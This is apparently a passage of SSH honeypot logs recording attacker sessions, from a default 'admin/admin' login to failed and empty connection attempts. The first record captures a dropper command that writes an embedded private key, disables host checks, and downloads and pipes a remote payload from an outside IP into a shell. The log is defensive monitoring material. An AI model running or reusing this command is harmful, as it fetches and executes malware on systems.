"cmd": "uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.102.5:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 120,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: admin / admin
{
"id": "4aa9a7f95cfe",
"src_ip": "43.128.81.242",
"start_time": "2026-10-14T04:20:52.894496Z",
"end_time": "2026-10-14T04:20:53.870691Z",
"duration": "1.0",
"version": "SSH-2.0-libssh2_1.11.1",
"hassh": "19532158b559096b89b1a5f7d17175b2",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rezvani
{
"id": "7fe5a9b28256",
"src_ip": "130.12.182.223",
"start_time": "2026-10-14T04:19:52.725551Z",
"end_time": "2026-10-14T04:19:54.640810Z",
"duration": "1.9",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [
{
"user": "rezvani",
"pass": "elasticsearch"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "0cad31537fc9",
"src_ip": "176.227.153.96",
"start_time": "2026-10-14T04:16:04.331492Z",
"end_time": "2026-10-14T04:16:04.334868Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "dc589ada83d9",
"src_ip": "176.227.153.96",
"start_time": "2026-10-14T04:15:08.458321Z",
"end_time": "2026-10-14T04:15:08.460389Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}